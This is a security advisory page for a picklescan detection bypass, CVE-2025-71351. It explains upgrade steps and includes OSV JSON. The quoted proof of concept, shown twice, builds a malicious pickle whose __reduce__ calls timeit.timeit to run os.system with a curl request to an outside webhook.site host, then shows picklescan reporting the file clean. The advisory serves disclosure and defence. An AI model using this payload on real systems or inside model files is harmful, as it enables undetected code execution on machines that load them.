CVE-2025-71351: Picklescan Picklescan Missing Detection When Calling Vulnerability

MODERATE
Advisory Identifier: GHSA-v7x6-rv5q-mhwc
CWE-184
Published
Advisory Summary

CVE-2025-71351 is a MODERATE picklescan missing detection when calling vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan missing detection when calling built-in python library function timeit.timeit(). Remediation is available by upgrading affected packages to version 0.0.25.

CVE-2025-71351 at a Glance

CVE Identifier CVE-2025-71351
GHSA Identifier GHSA-v7x6-rv5q-mhwc
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-71351

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.25
pip install picklescan>=0.0.25
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-71351, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.25), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file. ### Details Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC 1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit() ``` import pickle import timeit class Payload(object): def __reduce__(self): return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")') def create_payload(): with open('payload.pickle', 'wb') as f: pickle.dump(Payload(), f) create_payload() ``` Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not ``` picklescan -p payload.pickle ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Dangerous globals: 0 ``` 3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command) ``` import pickle def load_payload(): with open('payload.pickle', 'rb') as f: pickle.load(f) load_payload() ``` ### Impact Severity: High Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Recommended Solution I suggest adding timeit library to the unsafe globals blacklist.

CVE-2025-71351 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.25
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 0.0.25
0.0.25

References

Frequently Asked Questions

What is CVE-2025-71351?
CVE-2025-71351 is a security vulnerability in Picklescan involving Picklescan missing detection when calling built-in python library function timeit.timeit() under CWE-184: Incomplete List of Disallowed Inputs.
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.25 across affected packages: picklescan.
What version fixes CVE-2025-71351?
Upgrading to 0.0.25 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.25. Upgrade your dependency to 0.0.25 or later.
What CWE is associated with CVE-2025-71351?
CVE-2025-71351 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for CVE-2025-71351?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v7x6-rv5q-mhwc",
  "modified" : "2026-09-11T19:31:13Z",
  "published" : "2025-04-07T19:37:21Z",
  "aliases" : [ "CVE-2025-71351" ],
  "summary" : "Picklescan missing detection when calling built-in python library function timeit.timeit()",
  "details" : "### Summary\nUsing timeit.timeit() function, which is a built-in python library function to execute remote pickle file.\n\n### Details\nPickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method\nThen, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()\n```\nimport pickle\nimport timeit\nclass Payload(object):\n    def __reduce__(self):\n        return timeit.timeit, ('','import os; os.system(\"curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6\")')\ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\ncreate_payload()\n```\nThen the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()\n2. The victim will use picklescan library to check out if the received pickle file is malicious or not\n```\npicklescan -p payload.pickle\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\n3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)\n```\nimport pickle\ndef load_payload():\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\nload_payload()\n```\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n### Recommended Solution\nI suggest adding timeit library to the unsafe globals blacklist.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.25"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71351"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/40"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.25"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-timeit-timeit-detection-bypass"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-04-07T19:37:21Z",
    "nvd_published_at" : null
  }
}